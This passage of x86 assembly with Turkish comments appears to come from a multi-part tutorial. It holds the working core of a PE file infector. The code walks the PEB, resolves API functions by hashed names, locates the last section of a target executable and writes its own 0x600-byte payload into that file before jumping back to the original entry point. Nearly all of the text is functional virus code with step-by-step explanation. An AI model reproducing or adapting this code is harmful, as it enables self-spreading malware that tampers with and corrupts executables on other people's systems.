SEEK_SET push edx ; offset push ebx ; FILE *stream call edi ; call fseek add esp, 12 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz ; Pointer to Raw Data değerini oku sub esp, 4 ; buffer için yer aç ; ESP+8 mov eax, esp ; buffer adresini EAX'e ata push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push ebx ; FILE *stream push 4 ; nmemb - okuma sayısı push 1 ; size - her seferinde okunacak veri miktarı push eax ; buffer call ecx ; call fread add esp, 16 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz ; Bu noktada ESP buffer'ımıza işaret ediyor mov eax, [esp] ; Pointer to Raw Data değerini EAX'e aktarıyoruz add esp, 4 ; fread için aldığımız stack alanını geri veriyoruz ; ESP+4 mov ebp, [esp] ; Orjinal Size of Raw Data değerini EBP'ye aktarıyoruz add esp, 4 ; Orjinal Size of Raw Data değerini saklamak için kullandığımız stack alanını geri veriyoruz ; ESP orjinal noktasında add ebp, eax ; EBP register'ı Payload'umuzu yazacağımız dosya offset'ini içeriyor ; Daha sonra stack'ten tekrar kopyalamak üzere bazı değerleri kaydediyoruz push edi ; fseek fonksiyon adresi push ebx ; FILE *stream push ebp ; Dosya offset değerini STACK'E yazıyoruz ; Şimdi çalışan prosesin içinde payload'un başladığı adresi bulacağız ; GetModuleHandleA(NULL) EAX register'ında EXE'nin baz adresini döndürür push 0x772a2220 ; hash(kernel32.dll) call modul_bul add esp, 4 ; call parametre alanını geri veriyoruz push eax ;kernel32.dll modülünün adresini stack'e yaz ; GetModuleHandleA fonksiyonunun adresini bul (kernel32.dll kütüphanesinde) push 0xa4aa2707 ; hash(GetModuleHandleA) call fonksiyon_bul ; EAX ile fonksiyon adresini döndürür add esp, 8 ; call parametre alanını geri veriyoruz push 0 ; NULL parametresi call eax ; call GetModuleHandleA ; Bu fonksiyon için callee parametreler için alanı geri verdiğinden (STDCALL calling convention'ı) caller tarafında, yani burada ESP'ye müdahale etmiyoruz mov ebx, eax ; EXE modülü hafıza başlangıç adresi EBX register'ına aktarılır mov ebp, eax ; EXE modülü hafıza başlangıç adresi EBP register'ına aktarılır. EBP'ye dokunmayacağız add eax, 0x3C ; IMAGE_NT_HEADERS offset adresinin tutulduğu offset mov eax, [eax] ; EAX register'ı IMAGE_NT_HEADERS offset'ini içeriyor add ebx, eax ; EBX register'ı IMAGE_NT_HEADERS adresini içeriyor, sonraki alan adreslerini oluşturmak için bu register'ı kullanacağız mov ecx, ebx ; ECX register'ı da IMAGE_NT_HEADERS adresini içeriyor, bu register'ı # of sections değerini bulmak için kullanacağız add ecx, 6 ; ECX IMAGE_FILE_HEADER+6 adresini içeriyor mov cx, [ecx] ; CX register'ı 4 bitlik # of Sections değerini içeriyor dec cl ; Son section'ın ilk adresini bulabilmek için (# of Sections - 1) hesaplamasını yapıyoruz xor eax, eax ; EAX register'ını sıfırlıyoruz ki çarpma sonucunda üst byte'lar temiz kalsın mov al, 0x28; Her bir section header'ın uzunluğu 0x28 byte mul cl ; CL section sayısı - 1 değerini içeriyordu ve bu değerin 1 byte'ı aşma olasılığı çok düşük. Çarpma sonucu AH ve AL register'larında yer alacaktır ; Bu noktada EBX = IMAGE_NT_HEADERS adresi, EAX = (# of sections - 1) x 0x28 değerlerini içeriyor. ; Şimdi sırada ilk Section Header'ının değerini bulmak var mov ecx, ebx ; ECX = IMAGE_NT_HEADERS add ecx, 0x14 ; Size of Optional Header'ın offset'i xor edx, edx ; EDX sıfırlandı mov dx, [ecx] ; DX register'ı ve dolayısıyla EDX Size of Optional Header değerini içeriyor add ebx, 0x18 ; EBX = IMAGE_NT_HEADERS + Signature + IMAGE_FILE_HEADER add ebx, edx ; EBX = IMAGE_NT_HEADERS + Signature + IMAGE_FILE_HEADER + IMAGE_OPTIONAL_HEADER = İlk section header'ın başlangıç adresi add ebx, eax ; EBX = Son section header'ın başlangıç adresi add ebx, 0x0C ; EBX = RVA değerinin adresi mov ecx, [ebx] ; ECX = RVA değeri add ecx, ebp ; ECX = Son section'ın hafızadaki başlangıç adresi add ebx, 0x04 ; EBX = Size of Raw Data'nın adresi add ecx, [ebx] ; ECX = Son section'ın son adresi (payload'umuz açısından) sub ecx, 0x800 ; ECX = Payload'umuzun hafızadaki başlangıç adresi ; Yukarıda kaydettiğimiz değerleri geri yüklüyoruz pop ebp ; Dosya offset değerini EBP'ye atıyoruz pop ebx ; FILE *stream değerini EBX'e atıyoruz pop edi ; fseek fonksiyon adresi EDI'a atıyoruz ; Hafızadaki payload'u dosyaya yaz mov edx, ebp ; Klasik fseek çağrı parametre register'larımızı bozmamak için yazmaya başlayacağımız dosya offset'ini EDX'e atıyoruz push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push 0 ; SEEK_SET push edx ; offset push ebx ; FILE *stream call edi ; call fseek add esp, 12 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz ;fwrite fonksiyon adresinin bulunması (msvcr120.dll kütüphanesinde) push esi ; msvcr120.dll modül adresi push 0x11380979 ; hash(fwrite) call fonksiyon_bul ; EAX ile fonksiyon adresini döndürür add esp, 8 ; call parametre alanını geri veriyoruz mov edx, eax ; fwrite fonksiyonunun adresini daha sonra da kullanmak üzere EDX'e atıyoruz ; İlk 0x600 byte kodumuzu içerecek ve hafızadan yüklenecek. ; Ancak virtual size - fiziksel büyüklük farkı dolayısıyla 0x600 byte'ın tamamı hafızaya yüklenmemiş olabilir. Bu yüzden son 0x200 byte'ı "0" ile dolduracağız push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push ebx ; FILE *stream push 0x600 ; nmemb - yazma sayısı push 0x1 ; size - her seferinde yazılacak veri miktarı push ecx ; buffer - yani hafızada payload'umuzun bulunduğu alanın başlangıcı call eax ; call fwrite add esp, 16 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz push 0 ; Son 0x200 byte'ı (dec 512) yazmak için kullanacağımız 4 byte'lık buffer. Bu alanı döngü tamamlandıktan sonra geri vereceğiz. ; ESP+4 mov ebp, esp ; EBP buffer'ımızın adresini içeriyor mov ecx, 0x80 ; sayaç değerimiz hex 0x80 dec 128 doldur: push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push ebx ; FILE *stream push 0x04 ; nmemb - yazma sayısı push 1 ; size - her seferinde yazılacak veri miktarı push ebp ; buffer - 0x00000000 değerini barındıran stack alanının adresi call edx ; call fwrite add esp, 16 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz loop doldur add esp, 4 ; 0x00000000 değerini saklamak için aldığımız alanı iade ediyoruz. ; ESP orjinal noktada ; Dosyayı kapat push esi ; msvcr120.dll modül adresi push 0x11060851 ; hash(fclose) call fonksiyon_bul ; EAX ile fonksiyon adresini döndürür add esp, 8 ; call parametre alanını geri veriyoruz push ebx ; FILE *stream call eax ; call fclose add esp, 4 ; call parametre alanını geri veriyoruz son_nokta : ; Bu noktadan sonra program normal akışına devam edecek ; GetModuleHandleA(NULL) EAX register'ında EXE'nin baz adresini döndürür push 0x772a2220 ; hash(kernel32.dll) call modul_bul add esp, 4 ; call parametre alanını geri veriyoruz push eax ; kernel32.dll modülünün adresini stack'e yaz ; GetModuleHandleA fonksiyonunun adresini bul (kernel32.dll kütüphanesinde) push 0xa4aa2707 ; hash(GetModuleHandleA) call fonksiyon_bul ; EAX ile fonksiyon adresini döndürür add esp, 8 ; call parametre alanını geri veriyoruz push 0 call eax ; call GetModuleHandleA ; STDCALL calling convention gereği caller parametre alanını geri verdiğinden mov ebp, eax ; EXE modül baz adresini EBP'ye atıyoruz add eax, 0x24 ; OEM bölgesinin adresi mov eax, [eax] ; RVA entry point değerini EAX'e atıyoruz add eax, ebp ; VA entry point değerini hesaplıyoruz ; Payload'umuz çalışmadan önceki (EAX hariç) register değerlerini eski hallerine getiriyoruz pop esp pop ebp pop edx pop ecx pop edi pop esi pop ebx jmp eax ; Orjinal Address of Entry Point adresine atlıyoruz ;;;;;;;;;;;;;;;;;;;;;;; IMAGE_NT_HEADERS Offset Addresini Bulma Bölümü ;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Bu işlem çok defa gerçekleştirildiği için fonksiyon haline getirilmiştir. ; IMAGE_NT_HEADERS bölümünün offset değerini EAX register'ında döndürdüğü gibi dosya imlecini de buraya taşınmış vaziyette bırakır. ; Bu noktada esp+4'te FILE *stream pointer'ı, esp+8'de fseek fonksiyon adresi, esp+12'de fread fonksiyon adresi yer alır. Aşağıda bu değerler stack'te tüketilen yerlere göre yeniden düzenlenmiştir. ; IMAGE_NT_HEADERS offset adresini EAX ile döndürür image_nt_headers_offsetine_yuru : ; EAX hariç tüm register'ları saklıyoruz, EAX'e sonuç döndürmek için ihtiyacımız var push ebx push esi push edi push ecx push edx push ebp push esp mov ebp, esp ; prolog push 0 ; SEEK_SET push 0x3C ; IMAGE_DOS_HEADER içinde 0x3C offset'te IMAGE_NT_HEADERS offset değerini bulacağız. mov ebx, [ebp + 32] push ebx ; FILE *stream call [ebp + 36] ; call fseek add esp, 12 ; 0x3C'yi (IMAGE_NT_HEADERS offset değerini) oku sub esp, 4 ; buffer için yer aç ; ESP+4 mov edx, esp ; buffer adresini EDX'e ata mov ebx, [ebp + 32] ; FILE *stream push ebx ; FILE *stream push 4 ; nmemb - okuma sayısı push 1 ; size - her seferinde okunacak veri miktarı push edx ; buffer call [ebp + 40] ; call fread add esp, 16 ; IMAGE_NT_HEADERS offset değerini ESI'ye atıyoruz mov esi, [esp] add esp, 4 ; IMAGE_NT_HEADERS offset'ine git push 0 ; SEEK_SET push esi ; IMAGE_NT_HEADERS offset'i mov ebx, [ebp + 32] ; FILE *stream push ebx ; FILE *stream call [ebp + 36] ; call fseek add esp, 12 mov eax, esi ; Tüm register'ları eski haline getiriyoruz pop esp pop ebp pop edx pop ecx pop edi pop esi pop ebx ret ;;;;;;;;;;;;;;;;;;;;;;; Modül Adresi Bulma Bölümü ;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Modül adı hashlerini karşılaştırarak modül baz adresini bulur. ; esp+4 te modül adı hashini alır. Modül adı unicode formatındadır. Ancak bu durum hash sonucuna etki etmemektedir. Yine de hesaplamalarda AL yerine AX register'ı kullanılmak zorundadır. ; Modül baz adresini EAX ile döndürür modul_bul : ; EAX hariç tüm register'ları saklıyoruz, EAX'e sonuç döndürmek için ihtiyacımız var push ebx push esi push edi push ecx push edx push ebp push esp mov edx, [fs:0x30] ; PEB adresi mov edx, [edx + 0x0c]; PEB LOADER DATA adresi mov edx, [edx + 0x1c]; Başlatılma sırasına göre modül listesinin başlangıç adresi # sonraki modülleri bulabilmek için EDX'e dokunulmamalı sonraki_modul : mov esi, [edx + 0x20]; esi = InInitOrder[0].module_name(unicode) # modül adının adresi modul_hash_hesaplama_bolumu : xor edi, edi xor eax, eax cld; lodsw instructionı ESI register ını yanlışlıkla aşağı yönde değiştirmesin diye emin olmak için kullanıyoruz modul_hash_hesaplama_dongusu : lodsw; ESI nin işaret ettiği mevcut fonksiyon adı Unicode harfini(yani iki byteı) AX registerına yüklüyoruz ve ESI yi bir artırıyoruz test ax, ax; Fonksiyon adının sonuna gelip gelmediğimizi test ediyoruz jz modul_hash_karsilastirma; AX register değeri 0 ise, yani fonksiyon adını tamamlamışsak hesaplamayı sona erdiriyoruz ror edi, 0xf; Hash değerini 15 bit rotate ettiriyoruz add edi, eax; Hash değerine mevcut karakteri ekliyoruz jmp modul_hash_hesaplama_dongusu modul_hash_karsilastirma : mov eax, [edx + 0x08] ; Modül baz adresi EAX'e atanıyor mov edx, [edx]; liste bileşeninin flink değeri ;cmp edi, [esp + 0x10] ;Hesaplanan hash değerinin stackte parametre olarak verilen modül hash değeri ile tutup tutmadığını kontrol ediyoruz cmp edi, [esp + 0x20] ;Hesaplanan hash değerinin stackte parametre olarak verilen modül hash değeri ile tutup tutmadığını kontrol ediyoruz jnz sonraki_modul modul_bulundu : ; Bu noktada EAX register'ına modül baz adresi atanmış durumdadır. pop esp pop ebp pop edx pop ecx pop edi pop esi pop ebx ret ;;;;;;;;;;;;;;;;;;;;;;; Fonksiyon Adresi Bulma Bölümü ;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Fonksiyon hashlerini karşılaştırarak fonksiyon adresini bulur. ; esp+8 de modül adresini, esp+4 te fonksiyon hashini alır. ; Fonksiyon adresini EAX ile döndürür. fonksiyon_bul: ; EAX hariç tüm register'ları saklıyoruz, EAX'e sonuç döndürmek için ihtiyacımız var push ebx push esi push edi push ecx push edx push ebp push esp mov ebp, [esp + 0x24] ;Modül adresini al mov eax, [ebp + 0x3c] ;MSDOS başlığını atlıyoruz mov edx, [ebp + eax + 0x78] ;Export tablosunun RVA adresini edx e yazıyoruz add edx, ebp ;Export tablosunun VA adresini hesaplıyoruz mov ecx, [edx + 0x18] ;Export tablosundan toplam fonksiyon sayısını sayaç olarak kullanmak üzere kaydediyoruz mov ebx, [edx + 0x20] ;Export names tablosunun RVA adresini ebx e yazıyoruz add ebx, ebp ;Export names tablosunun VA adresini hesaplıyoruz sonraki_fonksiyon : ;fonksiyon_bulma_dongusu: dec ecx ;Sayaç son fonksiyondan başlayarak başa doğru azaltılır mov esi, [ebx + ecx * 4] ;Export names tablosunda sırası gelen fonksiyon adının pointerının VA adresini hesaplıyoruz ve pointer ı ESI a atıyoruz (pointer RVA formatında) add esi, ebp ;Modül baz adresini fonksiyon pointerının RVA adresine ekleyerek fonksiyon pointer'ının VA adresini hesaplıyoruz fonksiyon_hash_hesaplama_bolumu : xor edi, edi xor eax, eax cld ;lods instructionı ESI register ını yanlışlıkla aşağı yönde değiştirmesin diye emin olmak için kullanıyoruz fonksiyon_hash_hesaplama_dongusu : lodsb ;ESI nin işaret ettiği mevcut fonksiyon adı harfini (yani bir byteı) AL registerına yüklüyoruz ve ESI yi bir artırıyoruz test al, al ;Fonksiyon adının sonuna gelip gelmediğimizi test ediyoruz jz fonksiyon_hash_karsilastirma ;AL register değeri 0 ise, yani fonksiyon adını tamamlamışsak hesaplamayı sona erdiriyoruz ror edi, 0xf ;Hash değerini 15 bit sağa rotate ettiriyoruz add edi, eax ;Hash değerine mevcut karakteri ekliyoruz jmp fonksiyon_hash_hesaplama_dongusu fonksiyon_hash_karsilastirma : cmp edi, [esp + 0x20] ;Hesaplanan hash değerinin stackte parametre olarak verilen fonksiyon hash değeri ile tutup tutmadığını kontrol ediyoruz jnz sonraki_fonksiyon fonksiyon_bulundu : ;Fonksiyon adının hash değeri tuttuktan sonra fonksiyon adresi EAX register'ına aktarılır mov ebx, [edx + 0x24] ;Fonksiyonun adresini bulabilmek için Export ordinals tablosunun RVA adresini tespit ediyoruz add ebx, ebp ;Export ordinals tablosunun VA adresini hesaplıyoruz mov cx, [ebx + 2 * ecx] ;Fonksiyonun Ordinal numarasını elde ediyoruz (ordinal numarası 2 byte) mov ebx, [edx + 0x1c] ;Export adres tablosunun RVA adresini tespit ediyoruz add ebx, ebp ;Export adres tablosunun VA adresini hesaplıyoruz mov eax, [ebx + 4 * ecx] ;Fonksiyonun ordinal numarasını kullanarak fonksiyon adresinin RVA adresini tespit ediyoruz add eax, ebp ;Fonksiyonun VA adresini hesaplıyoruz pop esp pop ebp pop edx pop ecx pop edi pop esi pop ebx ret
<<Önceki Bölüm